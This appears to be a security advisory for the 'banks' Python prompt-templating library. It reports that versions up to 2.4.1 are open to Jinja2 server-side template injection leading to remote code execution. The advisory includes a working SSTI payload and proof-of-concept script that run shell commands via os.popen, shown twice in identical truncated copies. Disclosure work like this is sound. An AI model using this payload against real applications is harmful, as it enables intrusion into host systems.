Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.

Affected: PyPI: banks

## Summary

`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.

## Vulnerable Code

`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:

```python env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... ) ```

## Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:

```python # User-controlled input reaches Prompt() user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host ```

## Proof of Concept

**Setup:** ```bash pip install banks==2.4.1 ```

**PoC script:** ```python from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ```

**Confirmed output:** ``` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:** ```…

Affected: PyPI: banks

## Summary

`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.

## Vulnerable Code

`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:

```python env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... ) ```

## Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:

```python # User-controlled input reaches Prompt() user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host ```

## Proof of Concept

**Setup:** ```bash pip install banks==2.4.1 ```

**PoC script:** ```python from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ```

**Confirmed output:** ``` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:** ```…